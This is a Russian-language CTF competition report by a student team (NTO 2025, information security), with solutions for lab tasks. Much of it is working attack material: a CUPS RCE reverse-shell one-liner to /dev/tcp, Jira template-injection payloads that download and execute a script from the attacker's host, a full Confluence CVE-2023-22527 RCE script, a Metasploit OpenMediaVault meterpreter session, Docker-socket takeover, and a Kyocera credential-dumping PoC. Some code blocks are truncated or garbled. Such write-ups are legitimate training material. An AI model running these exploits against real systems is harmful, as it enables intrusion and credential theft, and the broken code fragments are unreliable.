



img.png

# ✨ Отчёт о проделанной работе команды “НЕ” на инженерном туре НТО по ИБ 2025

---

Отчет подготовлен командой “НЕ” в составе:

- Талгаренко Константин Антонович
  - Бацура Владимир Сергеевич
  - Дубовик Денис Алексеевич
  - Зеленкин Артём Игоревич
- 

## Наступательная кибербезопасность

### Hardware



Кроличья нора (10/10)

### Web



Кроличий горшок 1 ( /10)



Касса (20/20)



Мониторинг будущего! ( /30)

## DevSecOps

☒ Контейнер (10/10)

## Инфраструктура

☒ Сервис печати 1 (10/10)

☒ Jira (10/10)

☒ Confluence 1 (10/10)

☒ NAS 1 (20/20)

☒ NAS 2 (20/20)

☐ Confluence 2 ( /30)

☐ Сервис печати 2 ( /30)

## FORENSIC

☐ Таежный профиль 1 ( /10)

☐ Таежный профиль 2 ( /20)

## PWN

☒ Временные сообщения (10/10)

☐ Кадры ( /30)

## MISC

☒ Принтер 1(#Принтер1 (10/10)

☒ Принтер 2 (30/30)

## REV

☐ Менеджер паролей 1 ( /30)

## CRYPTO

☐ Менеджер паролей 2 ( /30)

---

# Расследование инцидента

## Задания

- ☒ Касса WAF (10/10)
- ☒ Непрошенные гости 1 (25/25)
- ☒ Непрошенные гости 2 (25/25)
- ☒ Поезд ( /25)

## Кроличий горшок 2.0

- ☒ Ход решения задачи, описание уязвимости (5/5)
- ☐ Код ЯП для уязвимости и содержание доступных секторов памяти горшка ( /25)

## WIFI-Роутер

- ☒ Флаг в поле «NTP-сервер» (10/10)
- ☐ Воспользоваться уязвимостью, выполнить код и отыскать флаг в /root ( /30)

## Камера 1.0

- ☒ Ход решения задачи, описание уязвимости(5/5)
- ☒ Код ЯП для уязвимости и кадр с камеры из перехваченного RTSP-потока(15/15)

## Камера 2.0

- ☐ Ход решения, информацию из прошивки камеры ( /15)
- ☐ Код ЯП для уязвимости и описание действий, подтверждающих перехват камеры ( /15)

## Машина 1 Windows

- ☒ 1-1 Как приложение попало на хост? (2/2)
- ☒ 1-2 Какое именно приложение является вредоносным? (3/3)

- ☐ 1-3 Каким образом данное приложение воздействует на систему? ( /5)
- ☐ 1-4 Какие негативные действия были выполнены в ходе работы вредоносного приложения? ( /5)
- ☐ 1-5 Какие механизмы защиты от детектирования применены в вредоносном приложении? ( /10)
- ☐ 1-6 Какой ключ нужен для дешифрования вредоносной нагрузки? ( /10)
- ☒ 1-7 С каким именно хостом соединяется вредоносное приложение? (3/3)
- ☒ 1-8 Какие именно файлы подвержены воздействию вредоносного приложения? (2/2)

## **Машина2Linux**

- ☒ 2-1 Как был получен первичный доступ к системе? (2/2)
  - ☒ 2-2 С каких IP-адресов поступала полезная нагрузка? (2/2)
  - ☒ 2-3 Какие механизмы защиты от детектирования применены в вредоносном приложении? (8/8)
  - ☒ 2-4 В какое время было начато исполнение вредоносной нагрузки? (13/13)
  - ☐ 2-5 (0/20)
  - ☒ 2-6 (2/20)
- 

# **Кроличья нора**

## **Ищем MikroTik recovery tool github**

Находим: <https://github.com/BigNerd95/RouterOS-Backup-Tools/tree/master> Используем на файле полученном на ранее

```
└─(kali@kali0lymp) - [~/Музыка/W29N01GV@TS0P48_1728]
└─$ python3 extract_user.py W29N01GV@TS0P48_1728.BIN
.....
User: admin
Pass: 9Nbn5dST

User: user
Pass: z[a/#4V]jHDF, "xd:q$u
```

User: user2  
Pass: s\*3Z:@vaM9m=x<" -

User: user3  
Pass: rjw7sJ<%nHvT5[Pg

User: user4  
Pass: n&@D>3h?\_8%,FC`B

User: user5  
Pass: V;xfQt:39.m8(h`~

User: admin  
Pass: 9Nbn5dST

Идем обратно и перебираем всех пользователей Получаем  
флаг в названии файла и красивую html страничку внутри

NT0(2H=nS@fsz=Mxj&-{b%3TY]tQNLny}W+)

---

# Касса

## Врайтп на задание Касса из веба

### Шаг 1

Открыв файл routes.py я заметил уязвимую библиотеку питон  
import pickle Далее я пошел смотреть где она используется,  
увидел что она используется в /check-ticket, а именно при  
апплоаде файла если указать у него расширение .pkl можно  
было залить произвольный python код который будет  
исполняться.

### Шаг 2

Я скачал рандомный билет, и пошел загружать его в /check-  
ticket. Перехватив пост запрос через бурп увидели как  
загружается файл

```
-----WebKitFormBoundaryw5kbnAYvCgCcl7zK  
Content-Disposition: form-data; name="ticket_file";  
filename="check.pkl"  
Content-Type: application/octet-stream
```

```
models TicketDT000000}0(0name0Ticket 100user0marcusov00
time_stamp0datetime0datetime0000C
000R00sign00(9ae5d37596de1f036d58ed85f00baa59d7abdc0ub.
-----WebKitFormBoundaryw5kbnAYvCgCcl7zK-
```

Далее я погуглил эксплоиты на pickle, нашел такой спloit

Далее я заменил прошлое содержимое файла .pkl на это, и неожиданно увидел ошибку, чутка подумал и понял, может мне показывает что тут ошибка, а по факту код выполняется на сервере. Следующее что я сделал, это подумал что флаг находится в env. И написал команду которая будет из env флаг записывать в static/flag.txt

---

## Контейнер

Из названия таска выходит что в этой сети есть докер, пробуем командой nmap найти его, и находим что он открыт на ip 10.10.13.34 и порту 2375

Далее подключаемся через docker -H tcp://10.10.13.30:2375 ps узнаем контейнер айди

```
docker -H tcp://10.10.13.34:2375 exec -it /bin/sh
```

и читаем флаг

```
└─$ docker -H tcp://10.10.13.34:2375 ps
CONTAINER ID   IMAGE             COMMAND
CREATED        STATUS          PORTS          NAMES
82b4f0f6fe52   nginx:latest     "/docker-entrypoint...." 2 months
ago    Up 3 days      80/tcp        root-ubuntu-1

└─(kali@kali0lymp)-[~/Загрузки/CVE-2021-4045]
└─$ docker -H tcp://10.10.13.34:2375 exec -it 82b4f0f6fe52 /bin/
sh
# ls
bin boot dev docker-entrypoint.d docker-entrypoint.sh etc
home hostdir lib lib64 media mnt opt proc root run sbin
srv sys tmp usr var
# cd /hostdir
# ls
bin boot dev etc home lib lib32 lib64 libx32 lost+found
media mnt opt proc root run sbin snap srv swap.img sys
tmp usr var
# vd^H^H^H^H^H^H^H^H^H
/bin: not found
```

```
# cd hostdir
/bin/sh: 5: cd: can't cd to hostdir
# ls
bin boot dev etc home lib lib32 lib64 libx32 lost+found
media mnt opt proc root run sbin snap srv swap.img sys
tmp usr var
# cd^H^H
/bin/sh: 7: : not found
# cd home
# ls
user
# cd user
# ls
docker-compose.yml  flag.txt
# cd^Hat fla^H
/bin/sh: 12: cat: not found
# cat flag.txt
nto{Ne_Zabyavay_Zakryavat_Socket_2375}
#
```

---

# Сервиспечати 1

## Врайтап на Сервис печати 1

### Шаг первый.

Первым же делом я посмотрел открытые порты, увидел что порт 631/tcp open ipp открыт и доступен для входа. Перешел, увидел веб приложение принтера, сразу же пошел гуглить эксплойты на эту версию.

### Шаг второй.

Нашел очень интересный эксплойт с RCE на гитхабе <https://github.com/0xCZR1/PoC-Cups-RCE-CVE-exploit-chain>. Скачал, почитал код и понял что его нужно чуть-чуть заменить, так как у нас другие открытые порты SERVER\_PORT = 12349 заменил на SERVER\_PORT = 41222, и еще printer\_uri = f'http://{ipp\_server\_host}:{ipp\_server\_port}/printers/EVILCUPS' заменил EVILCUPS на MARCUSPRINTER, ибо что бы эксплойт работал нужно было создавать новый принтер

## Шаг третий.

Открыл уже другой порт командой `nc -nvlp 41223` И запустил программу коамндой `python cups-rce.py 10.5.5.66 10.10.1.145 "sh -i >& /dev/tcp/10.5.5.66/41223 0>&1"`

получил вывод

```
Starting IPP server at ('10.5.5.66', 41222)
Sending UDP packet to 10.10.1.145:631...
Packet content:
2 3 http://10.5.5.66:41222/printers/MARCUSPRINTER "Pwned Location"
"Pwned Printer" "HP LaserJet 1020"
```

target connected, sending payload ...

target connected, sending payload ...

Далее я на стетье в гитхабе увидел что для того что бы эксплоит сработал, нужно еще запустить печать на принтере. Перешел в свой принтер, и запустил print test page

И получил Реверс шелл

```
$ ls
user_flag.txt
usr
var
$ cat user_flag.txt
nto{n0t_my_cup5_0f_t34}
$
```

---

## Jira

### Врайтап на Jiro

### Первый шаг.

Первым же делом проверил порты через `nmap`, увидел `8080/tcp open http-proxy` Перешел по `8080` порту и первым же делом пошел искать CVE на Jiro

Нашел этот гитхаб <https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting?tab=readme-ov-file#cve-2019-11581-template-injection> и CVE-2019-11581



## Шаг второй.

Подумав я решил, что код выполняется на сервере, не видимо для пользователя. Так еще и в локальной дерриктории нельзя ничего создавать и выполнять команды.

Сделал такие три пайлоада для получения реверс шела.

Так же я запустил фласк сервер что бы оттуда на сервер скачать файл `marcusovDobr.sh`

Залил на сервер вредоносный файл

```
$!l8n.getClass().forName('java.lang.Runtime').getMethod('getRuntime
-L -o /tmp/marcusovDobr.sh http://10.5.5.66:41200/file').waitFor()
```

Дал файлу полные права

```
$!l8n.getClass().forName('java.lang.Runtime').getMethod('getRuntime
+x /tmp/marcusovDobr.sh').waitFor()
```

Исполни файл

```
$!l8n.getClass().forName('java.lang.Runtime').getMethod('getRuntime
tmp/marcusovDob.sh').waitFor()
```

И получаю реверс шелл

```
daemon@67f9880e3d47:/var/atlassian/application-data/jira$ ls
ls
analytics-logs
caches
data
database
dbconfig.xml
export
import
log
logos
monitor
plugins
shell
tmp
user_flag.txt
daemon@67f9880e3d47:/var/atlassian/application-data/jira$ cat
user_flag.txt
cat user_flag.txt
nto{j1rn4y4_uy4zv1m057}
``
```

---

# Confluence 1

## Сканируем порты

```
(kali@kali0lymp)-[~/sols/conf 1]
└─$ nmap -v 10.10.1.159
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 15:40 MSK
Initiating Ping Scan at 15:40
Scanning 10.10.1.159 [4 ports]
Completed Ping Scan at 15:40, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:40
Completed Parallel DNS resolution of 1 host. at 15:40, 0.01s
elapsed
Initiating SYN Stealth Scan at 15:40
Scanning 10.10.1.159 [1000 ports]
Discovered open port 8090/tcp on 10.10.1.159
Completed SYN Stealth Scan at 15:41, 9.84s elapsed (1000 total
ports)
Nmap scan report for 10.10.1.159
Host is up (0.00072s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE
8090/tcp  open  opsmessaging

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.01 seconds
Raw packets sent: 2004 (88.152KB) | Rcvd: 3 (116B)
```

**Видим 8090/tcp open opsmessaging, там confluence  
(Powered by Atlassian Confluence 8.5.3)**

## Находим CVE-2023-22527

## CVE-2023-22527

```
(kali@kali0lymp)-[~/sols/conf 1]
└─$ python3 z.py -u http://10.10.1.159:8090/ --shell
[!] Shell is ready, please type your commands UwU
$ ls
analytics-logs
...
flag.txt
temp
thumbnails
viewfile
webresource-temp
$ cat flag.txt
```

```
nto{c0nflu3nc3_15_und3r_4774ck}
```

```
$
```

```
# Exploit Title: CVE-2023-22527: Atlassian Confluence RCE
# Vulnerability
# Date: 25/1/2024
# Exploit Author: MaanVader
# Vendor Homepage: https://www.atlassian.com/software/confluence
# Software Link: https://www.atlassian.com/software/confluence
# Version: 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3
# Tested on: 8.5.3
# CVE : CVE-2023-22527
```

```
import requests
import argparse
import urllib3
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from rich.console import Console

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
```

```
# Argument parsing
parser = argparse.ArgumentParser(description="Send a payload to
Confluence servers.")
parser.add_argument("-u", "--url", help="Single Confluence Server
URL")
parser.add_argument("-f", "--file", help="File containing list of
IP addresses")
parser.add_argument("-c", "--command", help="Command to Execute")
parser.add_argument("--shell", action="store_true", help="Open an
interactive shell on the specified URL")
args = parser.parse_args()
```

```
# Rich console for formatted output
console = Console()
```

```
# Function to send payload
```

```
def send_payload(url, command):
    headers = {
        'Connection': 'close',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    payload = ('label=\\u0027%2b#request\\u005b\\
\\u0027.KEY_velocity.struts2.context\\u0027\\
\\u005d.internalGet(\\u0027ognl\\
\\u0027).findValue(#parameters.x,{})%2b\\u0027'
               '&x=@org.apache.struts2.ServletActionContext@getResponse().g
freemarker.template.utility.Execute()).exec({' + command + '})\\r\\n')
    headers['Content-Length'] = str(len(payload))
```

```

full_url = f"{url}/template/au/inline.vm"
response = requests.post(full_url, verify=False, headers=headers,
    data=payload, timeout=10, allow_redirects=False)
return response.text.split('<!DOCTYPE html>')[0].strip()

# Interactive shell function
def interactive_shell(url):
    session = PromptSession()
    console.print("[bold yellow][!] Shell is ready, please type
        your commands UwU[/bold yellow]")
    while True:
        try:
            cmd = session.prompt(HTML("<ansired><b>$ </b></
                ansired>"))
            if cmd.lower() in ["exit", "quit"]:
                break
            response = send_payload(url, cmd)
            console.print(response)
        except KeyboardInterrupt:
            break
        except Exception as e:
            console.print(f"[bold red]Error: {e}[/bold red]")
            break

# Process file function
def process_file(file_path):
    with open(file_path, 'r') as file:
        for line in file:
            ip = line.strip()
            url = f"http://{ip}:8090"
            console.print(f"Processing {url}")
            print(send_payload(url, args.command))

# Main execution logic
if args.shell and args.url:
    interactive_shell(args.url)
elif args.url and args.command:
    print(send_payload(args.url, args.command))
elif args.file and args.command:
    process_file(args.file)
else:
    print("Error: Please provide a valid URL and a command or use
        the interactive shell option.")

```

---

# NAS 1

Перечитал задачу раз 40 так точно, и написал такой код который стучится на эти три порта, скрипт нужно запустить три раза, далее просто подключится к 10.10.1.129:80. Нашел на сайте

<https://www.exploit-db.com/exploits/29323> креды, и вошел под ними, далее нашел флаг в шered фолдерс.

```
import socket

target_ip = "10.10.1.129"
ports = [1337, 1345, 1362]

for port in ports:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    try:
        sock.connect((target_ip, port))
        print(f"Порт {port} открыт")
    except:
        print(f"Порт {port} закрыт или недоступен")
    finally:
        sock.close()
```

ТАСКА УЦУЦУГА!!!!

---

# NAS 2

## Шаг пепрвый.

Сразу же пошел гуглить CVE RCE на openmediavault

Нашел Exploit DB <https://www.exploit-db.com/exploits/29323> увидел что тут метасплloit.

И пошел дальше в него, вот все команды

```
└─(kali@kali0lymp) - [~/Документы/PoC-Cups-RCE-CVE-exploit-chain]
└─$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session
on many
platforms using sessions -u <session_id>
```

## Matching Modules

=====

#	Name			Disclosure
Date	Rank	Check	Description	
-	----			
-----	----	-----	-----	
0	exploit/unix/webapp/openmediavault_auth_cron_rce			
2013-10-30	excellent	Yes	OpenMediaVault rpc.php	
Authenticated Cron Remote Code Execution				
1	\_ target: Unix			
Command . . .				
2	\_ target: Linux			
Dropper . . .				
3	exploit/unix/webapp/openmediavault_rpc_rce			
2020-09-28	excellent	Yes	OpenMediaVault rpc.php	
Authenticated PHP Code Injection				

Interact with a module by name or index. For example info 3, use 3 or use exploit/unix/webapp/openmediavault\_rpc\_rce

```
msf6 > use exploit/unix/webapp/openmediavault_rpc_rce
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set LHOST
LHOST => 10.5.5.66
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set LPORT 41222
LPORT => 41222
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set RHOST
RHOST => 10.10.1.128
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set RPORT 80
RPORT => 80
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > exploit
[*] Started reverse TCP handler on 10.5.5.66:41222
[*] Running automatic check ("set AutoCheck false" to disable)
[*] 10.10.1.128:80 - Authenticating with OpenMediaVault using
admin:openmediavault...
[+] 10.10.1.128:80 - Successfully authenticated with
OpenMediaVault using admin:openmediavault.
[*] 10.10.1.128:80 - Trying to detect if target is running a
supported version of OpenMediaVault.
[+] 10.10.1.128:80 - Identified OpenMediaVault version 5.5.11.
[*] 10.10.1.128:80 - Verifying remote code execution by attempting
to execute 'usleep()'.
[+] 10.10.1.128:80 - Response received after 11 seconds.
[+] The target is vulnerable.
[*] 10.10.1.128:80 - Sending payload (150 bytes)...
[*] Sending stage (1017704 bytes) to 10.5.5.252
[*] Meterpreter session 1 opened (10.5.5.66:41222 ->
10.5.5.252:30301) at 2025-03-27 15:53:03 +0300
ls
```

[\*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > ls

Listing: /

=====

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
040755/rwxr-xr-x	20480	dir	2025-03-25 12:25:43 +0300	bin
040755/rwxr-xr-x	4096	dir	2025-03-13 05:40:43 +0300	boot
040755/rwxr-xr-x	3260	dir	2025-03-24 19:49:19 +0300	dev
040775/rwxrwxr-x	4096	dir	2025-03-25 14:29:36 +0300	etc
040755/rwxr-xr-x	4096	dir	2020-09-18 00:21:10 +0300	export
040755/rwxr-xr-x	4096	dir	2020-07-11 00:04:00 +0300	home
100644/rw-r--r--	42872466	fil	2025-03-13 05:40:43 +0300	initrd.img
100644/rw-r--r--	42872466	fil	2025-03-13 05:40:43 +0300	initrd.img.old
040755/rwxr-xr-x	4096	dir	2025-03-13 05:40:12 +0300	lib
040755/rwxr-xr-x	4096	dir	2020-09-21 18:23:44 +0300	lib32
040755/rwxr-xr-x	4096	dir	2025-03-13 05:39:01 +0300	lib64
040755/rwxr-xr-x	4096	dir	2020-09-21 18:23:44 +0300	libx32
040700/rwx-----	16384	dir	2025-03-13 05:38:20 +0300	lost+found
040755/rwxr-xr-x	4096	dir	2020-09-21 18:23:46 +0300	media
040755/rwxr-xr-x	4096	dir	2025-03-14 10:42:30 +0300	mnt
040755/rwxr-xr-x	4096	dir	2020-09-21 18:23:46 +0300	opt
040555/r-xr-xr-x	0	dir	2025-03-24 19:48:32 +0300	proc
040700/rwx-----	4096	dir	2025-03-25 12:55:14 +0300	root
040755/rwxr-xr-x	1040	dir	2025-03-25 14:49:13 +0300	run
040755/rwxr-xr-x	16384	dir	2025-03-25 12:25:43 +0300	sbin
040755/rwxr-xr-x	4096	dir	2020-09-18 00:21:10 +0300	sharedfolders
040755/rwxr-xr-x	4096	dir	2025-03-19 03:07:40 +0300	srv
040555/r-xr-xr-x	0	dir	2025-03-24 19:48:32 +0300	sys
041777/rwxrwxrwx	2700	dir	2025-03-25 14:49:09 +0300	tmp
040755/rwxr-xr-x	4096	dir	2025-03-13 05:39:00 +0300	usr
040755/rwxr-xr-x	4096	dir	2025-03-13 05:39:01 +0300	var
100644/rw-r--r--	5630224	fil	2020-07-30 22:11:35 +0300	vmlinuz
100644/rw-r--r--	5630224	fil	2020-07-30 22:11:35 +0300	vmlinuz.old

meterpreter > cd /root/

meterpreter > ls

Listing: /root

=====

Mode	Size	Type	Last modified	Name
----	----	----	-----	----



```
100600/rw----- 1867 fil 2025-03-25 13:15:10
+0300 .bash_history
100600/rw----- 857 fil 2020-09-21 18:27:35 +0300 .bashrc
040700/rwx----- 4096 dir 2025-03-13 08:56:49 +0300 .config
100600/rw----- 278 fil 2020-09-21 18:27:35 +0300 .inputrc
040755/rwxr-xr-x 4096 dir 2025-03-13 06:21:31 +0300 .local
100644/rw-r--r-- 161 fil 2020-09-21 18:27:35 +0300 .profile
040700/rwx----- 4096 dir 2025-03-13 06:22:04 +0300 .ssh
100644/rw-r--r-- 180 fil 2025-03-13 06:26:19 +0300 .wget-
hsts
100644/rw-r--r-- 25 fil 2025-03-14 03:58:44 +0300 flag
```

```
meterpreter > cat flag
nto{4_l177l3_ch33ky_cv3}
meterpreter >
```

---

# Временные сообщения

## Шаг первый

Увидел базовую уязвимость BOF И нашел что она находится в write file Написал код на питоне

```
from pwn import *

def exploit():
    io = remote('10.10.11.101', 9001)

    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'content: ', b'a'*256)

    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'ID:', b'000000000')
    io.sendlineafter(b'password:', b'')

    io.recvuntil(b'contains:')
    io.interactive()

if __name__ == "__main__":
    exploit()

└─(kali@kali0lymp)-[~/Документы/PoC-Cups-RCE-CVE-exploit-chain]
└─$ python 123.py
[+] Opening connection to 10.10.11.101 on port 9001: Done
[+] Exploit successful! Switching to interactive mode...
[*] Switching to interactive mode
```

```
nto{sup3r_s3cr3t_c0nf1d3ntial_fl4g}
Commands:
    1. Read file
    2. Write file
>> $
```

---

# Принтер 1

Сканируем хосты

```
(kali@kali0lymp)-[~]
└─$ nmap -v 10.10.1.72
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 15:56 MSK
Initiating Ping Scan at 15:56
Scanning 10.10.1.72 [4 ports]
Completed Ping Scan at 15:56, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:57
Completed Parallel DNS resolution of 1 host. at 15:57, 0.01s
elapsed
Initiating SYN Stealth Scan at 15:57
Scanning 10.10.1.72 [1000 ports]
Discovered open port 80/tcp on 10.10.1.72
Discovered open port 9091/tcp on 10.10.1.72
Completed SYN Stealth Scan at 15:57, 6.75s elapsed (1000 total
ports)
Nmap scan report for 10.10.1.72
Host is up (0.044s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
9091/tcp  open  xmltec-xmlmail

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.95 seconds
Raw packets sent: 2005 (88.196KB) | Rcvd: 6 (248B)
```

```
(kali@kali0lymp)-[~]
└─$ nmap -v 10.10.1.110
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 15:57 MSK
Initiating Ping Scan at 15:57
Scanning 10.10.1.110 [4 ports]
Completed Ping Scan at 15:57, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:57
Completed Parallel DNS resolution of 1 host. at 15:57, 0.01s
elapsed
Initiating SYN Stealth Scan at 15:57
Scanning 10.10.1.110 [1000 ports]
Discovered open port 21/tcp on 10.10.1.110
```

Completed SYN Stealth Scan at 15:57, 4.75s elapsed (1000 total ports)

Nmap scan report for 10.10.1.110

Host is up (0.0012s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT	STATE	SERVICE
21/tcp	open	ftp
10180/tcp	closed	unknown

Read data files from: /usr/share/nmap

Nmap done: 1 IP address (1 host up) scanned in 4.90 seconds

Raw packets sent: 2004 (88.152KB) | Rcvd: 5 (200B)

## открытые порты

10.10.1.72

80/tcp open http

9091/tcp open xmltec-xmlmail

10.10.1.110

21/tcp open ftp

10180/tcp closed unknown

Заходим на 10.10.1.72:80, ищем "command center rx exploit"

Находим cve <https://github.com/ac3lives/kyocera-cve-2022-1026>

и юзаем его

```
└─(kali@kali0lymp)-[~/sols/printer1]
```

```
└─$ python3 getKyoceraCreds.py 10.10.1.72
```

Obtained address book object: 7. Waiting for book to populate

Submitting request to retrieve the address book object...

```
{'@xml:space': 'preserve', 'kmaddrbook:get_personal_address_listResponse': {'kmaddrbook:
  'kmaddrbook:furigana': 'Даниил Савин', 'kmaddrbook:id': '1'}, 'kmaddrbook:
  'kmaddrbook:smb_information': {'kmaddrbook:server_name': None, 'kmaddrbook:
  'ON', 'kmaddrbook:code_key_id': '0', 'kmaddrbook:code_send_setting': 'OFF',
  'kmaddrbook:furigana': 'Немихаил Непетрачков', 'kmaddrbook:id': '2'}, 'km
  'kmaddrbook:smb_information': {'kmaddrbook:server_name': None, 'kmaddrbook:
  'ON', 'kmaddrbook:code_key_id': '0', 'kmaddrbook:code_send_setting': 'OFF',
  'kmaddrbook:furigana': 'Константин Костеневский', 'kmaddrbook:
  'kmaddrbook:port_number': '21'}, 'kmaddrbook:smb_information': {'kmaddrbook:
  'kmaddrbook:connection_begining_speed': '33600', 'kmaddrbook:ecm': 'ON',
  {'kmaddrbook:name_information': {'kmaddrbook:name': 'Валентина Споржедичко
  'kmaddrbook:ftp_information': {'kmaddrbook:server_name': None, 'kmaddrbook:
  {'kmaddrbook:server_name': None, 'kmaddrbook:port_number': '445'}, 'kmaddr
  'kmaddrbook:code_key_id': '0', 'kmaddrbook:code_send_setting': 'OFF', 'km
  'kmaddrbook:furigana': 'Вера Джейсонина', 'kmaddrbook:id': '5'}, 'kmaddrbo
  'kmaddrbook:smb_information': {'kmaddrbook:server_name': None, 'kmaddrbook:
  'ON', 'kmaddrbook:code_key_id': '0', 'kmaddrbook:code_send_setting': 'OFF',
  'kmaddrbook:furigana': 'Александр Ивлев', 'kmaddrbook:id': '6'}, 'kmaddrbo
  'kmaddrbook:smb_information': {'kmaddrbook:server_name': None, 'kmaddrbook:
  'ON', 'kmaddrbook:code_key_id': '0', 'kmaddrbook:code_send_setting': 'OFF',
  'kmaddrbook:furigana': 'Александр Анчишкин', 'kmaddrbook:id': '7'}, 'kmad
  'kmaddrbook:smb_information': {'kmaddrbook:server_name': None, 'kmaddrbook:
  'ON', 'kmaddrbook:code_key_id': '0', 'kmaddrbook:code_send_setting': 'OFF',
  'kmaddrbook:furigana': 'tset', 'kmaddrbook:id': '8'}, 'kmaddrbook:email_in
  'kmaddrbook:smb_information': {'kmaddrbook:server_name': None, 'kmaddrbook:
  'ON', 'kmaddrbook:code_key_id': '0', 'kmaddrbook:code_send_setting': 'OFF'}
```

Obtained address book. Review the above response for credentials  
in objects such as 'login\_password', 'login\_name'

В ответе видим креды от ftp

```
"kmaddrbook:login_name": "ftpuser",
"kmaddrbook:login_password": "r34llyh4rdp455",
```

Заходим и скачиваем флаг

```
└─(kali㉿kali0lymp)-[~]
└─$ ftp 10.10.1.110
Connected to 10.10.1.110.
220 (vsFTPd 3.0.5)
Name (10.10.1.110:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (||||10143|)
150 Here comes the directory listing.
-rw-r--r--    1 0      0          29 Mar 15 14:27
      NT0flag1.txt
-rw-rw-r--    1 0      0          61855 Mar 07 21:43 redis.conf
226 Directory send OK.
```

```

ftp> get NT0flag1.txt
local: NT0flag1.txt remote: NT0flag1.txt
229 Entering Extended Passive Mode (||||10186|)
150 Opening BINARY mode data connection for NT0flag1.txt (29
    bytes).
100% |*****
    211.34 KiB/s    00:00 ETA
226 Transfer complete.
29 bytes received in 00:00 (20.77 KiB/s)

```

Смотрим флаг

```

└─(kali@kali0lymp)-[~]
└─$ cat NT0flag1.txt
nto{f7p_4cc355_fr0m_ky0c3r4}

```

"""

*Kyocera printer exploit*  
*Extracts sensitive data stored in the printer address book,*  
*unauthenticated, including:*

- \*email addresses*
- \*SMB file share credentials used to write scan jobs to a*  
*network fileshare*
- \*FTP credentials*

*Author: Aaron Herndon, @ac3lives (Rapid7)*

*Date: 11/12/2021*

*Tested versions:*

- \* ECOSYS M2640idw*
- \* TASKalfa 406ci*
- \**

*Usage:*

*python3 getKyoceraCreds.py printerip*

"""

```

import requests
import xmltodict
import warnings
import sys
import time
warnings.filterwarnings("ignore")

url = "https://{}:9091/ws/km-wsdl/setting/
    address_book".format(sys.argv[1])
headers = {'content-type': 'application/soap+xml'}
# Submit an unauthenticated request to tell the printer that a new
    address book object creation is required

```

```
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-
ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://
www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://
www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-
ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://
www.kyoceramita.com/ws/km-wsdl/setting/address_book/
create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-
ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</
ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-
ENV:Body></SOAP-ENV:Envelope>"""
```

```
response = requests.post(url,data=body,headers=headers,
    verify=False)
strResponse = response.content.decode('utf-8')
#print(strResponse)
```

```
parsed = xmltodict.parse(strResponse)
# The SOAP request returns XML with an object ID as an integer
    stored in kmaddrbook:enumeration. We need this object ID
    to request the data from the printer.
getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']
    ['kmaddrbook:create_personal_address_enumerationResponse']
    ['kmaddrbook:enumeration']
```

```
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-
ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://
www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/
2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/
addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include"
xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/
address_book"><SOAP-ENV:Header><wsa:Action SOAP-
ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/
setting/address_book/get_personal_address_list</wsa:Action></SOAP-
ENV:Header><SOAP-
ENV:Body><ns1:get_personal_address_listRequest><ns1:enumeration>{}</
ns1:enumeration></ns1:get_personal_address_listRequest></SOAP-
ENV:Body></SOAP-ENV:Envelope>""".format(getNumber)
```

```
print("Obtained address book object: {}. Waiting for book to
    populate".format(getNumber))
time.sleep(5)
print("Submitting request to retrieve the address book object...")
```

```
response = requests.post(url,data=body,headers=headers,
    verify=False)
strResponse = response.content.decode('utf-8')
#print(strResponse)
```

```
parsed = xmltodict.parse(strResponse)
```

```

